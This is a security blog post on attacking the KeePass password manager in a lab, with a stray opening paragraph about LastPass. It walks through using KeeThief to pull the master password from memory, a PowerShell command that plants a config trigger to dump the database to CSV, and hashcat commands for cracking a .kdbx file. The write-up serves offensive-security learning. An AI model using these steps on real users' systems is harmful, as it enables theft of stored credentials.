For what its worth, I think LastPass (or more broadly cloud-based password managers) are the best solution for most users. They tend to be much more usable than local applications such as KeePass, which should in theory encourage end users to use it more, thus making their credentials more likely to be more secure. For more technical or computer-savvy users, KeePass is ultimately more secure from an architectural point of view in my opinion.

That being said, cloud-based password managers are a huge target for attackers and you do end up putting a lot of trust into the provider, rather than an endpoint which is under your control. With LastPass now having suffered multiple breaches, this is an area which attackers will continue to target!

Further Reading

Attacking Password Managers: KeePass

In this two-part blog post, Ill be taking a look into attacks password managers to improve my knowledge on techniques which can be used against them. To start with, I will take a look at local password managers by looking at the sort of techniques which can be used against KeePass. The second post covers some attacks against LastPass.

Ill start by covering some generic attacks against password managers (Both local and cloud-based), before moving onto KeePass-specific attacks.

  1. Generic Password Manager Attacks
    1. Monitoring/Grabbing the Clipboard contents
    2. Keylogging
  2. KeePass Attacks
  3. KeeThief
    1. Finding KeePass files
    2. Stealing the master password from memory
    3. Backdooring the trigger system
    4. Cracking A KeePass file
    5. Additional Persistence Methods

Generic Password Manager Attacks

Monitoring/Grabbing the Clipboard contents

We can do this within Cobalt Strike using the clipboard command. This is only a point-in-time grab of the data, and will not actively monitor it!

We can also use Mimikatz to do this with misc::clip, but this is way overkill for most situations


If we are feeling patient (or want to coerce the target into opening their password manager), we can grab the master password by keylogging their system to capture the main password.

KeePass Attacks

Now lets look into some KeePass-specific attacks. This was all performed against v2.52 which was the latest at the time! This was installed with all the default settings, and the TopSecretStuff.kdbx file is using a password of ‘infected‘.

And lets add a password or 2 to our KeePass database


KeeThief is another great tool from GhostPack. It was originally released 7 years ago and targets .NET 3.5, which meant I had to install the framework on my test system. For real-world usage, make sure you adapt this to your target environment!

I then had to combine the Microsoft.Diagnostics.Runtime.dll DLL into the KeeThief executable and make the entry point public to avoid getting an “Invoke_3 on EntryPoint failed” error in Cobalt Strike. To do this, I used ILMerge which was downloaded as part of building KeeThief. Using the csproj file from KeeThief for guidance, the final command was:

PATH_TO_KEETHIEF\KeeTheft\packages\ILMerge.2.14.1208\tools>ILMerge.exe /target:winexe /targetplatform:"v2,C:\Windows\Microsoft.NET\Framework\v2.0.50727" /target:exe /out:test.exe "PATH_TO_KEETHIEF\bin\Release\KeeTheft.exe" "PATH_TO_KEETHIEF\bin\Release\Microsoft.Diagnostics.Runtime.dll"

I also did the same for the associated PowerShell file which this should produce, using the command:

PATH_TO_KEETHIEF\PowerShell>powershell -exec bypass -File Out-CompressedDll.ps1 KeeThief.exe KeeThief.ps1

The commands are covered in the README of KeeThief

Finding KeePass files

Using the pre-built KeePassConfig.ps1 file, we can hunt in a system for KeePass XML files. These XML files contain the configuration data for KeePass which we will modify later on as part of an attack!

Stealing the master password from memory

We can now simply run the KeeThief tool against our system, and so long as KeePass is running, we can steal the plaintext master password. Notably KeePass just needs to be running on the system and be unlocked with the main password – a pretty typical arrangement for most users who use KeePass!

We can also do this using the KeeThief.ps1 script if we want to throw it back to 2017, with the Find-KeePassDatabaseKey cmdlet.

From this point, we could steal the TopSecretStuff.kdbx file, and interact with it away from the host.

Backdooring the trigger system

As mentioned in an older Mandiant report, KeePass includes a ‘trigger’ system which can be exploited. In short, this trigger system allows specific actions or commands to be run when specific criteria are met in KeePass. Mandiant’s example is to dump out the KeePass DB whenever KeePass is opened. On the 23rd January 2023, CVE-2023-24055 was released for this, but is disputed by KeePass.

As covered in the comments of KeePassConfig.ps1, we need to pipe the output of Find-KeePassConfig into Get-KeePassConfigTrigger for it to work.

This didn’t work with me, after a bit of debugging I believe the structure of the KeePass config has likely changed since the tool was created, or the tool had revealed a false positive file. Below is an example of the error within the Add-KeePassConfigTrigger function

After manually creating a Trigger on the target system, the C:\Program Files\KeePass Password Safe 2\KeePass.config.xml file had not changed and was essentially an empty XML file

<?xml version="1.0" encoding="utf-8"?>
<Configuration xmlns:xsi="" xmlns:xsd="">

This would explain why PowerShell was throwing an error, as there were no XML elements for it to add nodes onto! With a bit of hunting, I found the file at %APPDATA%/Roaming/KeePass/KeePass.config.xml

We can now pipe this file path into Find-KeePassConfig and then into Add-KeePassConfigTrigger like so:

"C:\Users\vagrant\AppData\Roaming\KeePass\KeePass.config.xml" | Find-KeePassConfig | Add-KeePassConfigTrigger -Verbose

We can confirm this by looking at the KeePass.config.xml file after running the command

Before we restart KeePass, note that there are no files in the %APPDATA%/Roaming/KeePass folder

After signing into KeePass, a file named TopSecretStuff.csv is dropped into the folder

Which we can open to reveal our passwords

We can then remove our configuration change by running Remove-KeePassConfigTrigger

Cracking A KeePass file

The above attacks have relied on us compromising a system where the user is either actively using KeePass, or will routinely use it. What if we come across a user which only infrequently uses it, or find a *.kdbx file on a share?

For this, we can use the keepass2john executable from John The Ripper – which is built into Kali. If you are using a different OS, then Harmj0y has made a Python script to do this!

We now have our hash:

Looking at the example hashes from Hashcat (Mode 13400), we can see that we will need to remove the database name ‘TopSecretStuff‘ from the beginning of this string

We can then run Hashcat using mode 13400 to try and crack this

hashcat.exe -a 0 pass.txt rockyou.txt -m 13400

Additional Persistence Methods

Something which I read about, but didn’t attempt was obtaining persistence via the KeePass plugins, which is covered by @two06 on Medium, they also have another post which covers another way of abusing the trigger system to execute arbitrary code, in a similar way to KeeThief’s persistence method.

In my second post in this series, I will take a look at LastPass as an example of a cloud/browser-based password manager!